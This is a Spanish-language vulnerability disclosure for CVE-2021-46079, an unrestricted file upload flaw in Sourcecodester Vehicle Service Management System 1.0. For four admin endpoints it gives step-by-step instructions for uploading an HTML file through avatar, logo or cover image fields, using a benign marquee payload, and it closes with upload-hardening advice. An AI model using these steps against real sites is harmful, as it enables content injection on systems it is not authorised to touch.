CVE-2021-46079
Título del exploit: Vehicle Service Management System: la carga de archivos 'múltiple' conduce a inyección de HTML
Autor del exploit: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 ALTA
Referencias:
Descripción:
Existe una vulnerabilidad de carga de archivos sin restricciones en Sourcecodester Vehicle Service Management System 1.0. Un atacante remoto puede cargar archivos maliciosos que provocan inyección de HTML.
1. Vehicle Service Management System - 'Mi cuenta' (/admin/?page=user)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección Mi cuenta http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Guarde el código html anterior, por ejemplo: Html Injection.html
- En la sección Mi cuenta, introduzca todos los datos requeridos y seleccione el archivo html en Avatar.
- Haga clic en el botón Actualizar.
- Abra la imagen del avatar en una pestaña nueva.
- Se ejecuta la inyección de HTML.
2. Vehicle Service Management System - 'Lista de usuarios' (/admin/?page=user/manage_user)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección Lista de usuarios y haga clic en el botón Crear nuevo.
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Guarde el código html anterior, por ejemplo: Html Injection.html
- En la página Crear nuevo usuario, introduzca todos los datos requeridos y seleccione el archivo html en Avatar.
- Haga clic en el botón Guardar.
- Abra la imagen del avatar en una pestaña nueva.
- Se ejecuta la inyección de HTML.
3. Vehicle Service Management System - 'Configuración: logotipo del sistema' (/admin/?page=system_info)
Payload:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección Configuración http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Guarde el código html anterior, por ejemplo: Html Injection.html
- En la sección Configuración, introduzca todos los datos requeridos y seleccione el archivo html en Logotipo del sistema.
- Haga clic en el botón Actualizar.
- Abra la imagen del logotipo del sistema en una pestaña nueva.
- Se ejecuta la inyección de HTML.
4. Vehicle Service Management System - 'Configuración: portada del sitio web' (/admin/?page=system_info)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección Configuración http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Guarde el código html anterior, por ejemplo: Html Injection.html
- En la sección Configuración, introduzca todos los datos requeridos y seleccione el archivo html en Portada del sitio web.
- Haga clic en el botón Actualizar.
- Abra la imagen de la portada del sitio web en una pestaña nueva.
- Se ejecuta la inyección de HTML.
Impacto:
Un atacante puede cargar archivos maliciosos en múltiples endpoints, lo que conduce a inyección de HTML.
Mitigación:
Se recomienda implementar lo siguiente:
- Nunca acepte un nombre de archivo y su extensión directamente sin un filtro de lista blanca.
- Si no es necesario tener caracteres Unicode, es muy recomendable aceptar solo caracteres alfanuméricos y un único punto como entrada para el nombre de archivo y la extensión.
- Limite el tamaño del archivo a un valor máximo para prevenir ataques de denegación de servicio.
- El directorio de carga no debe tener ningún permiso de "ejecución".
- No confíe únicamente en la validación del lado del cliente.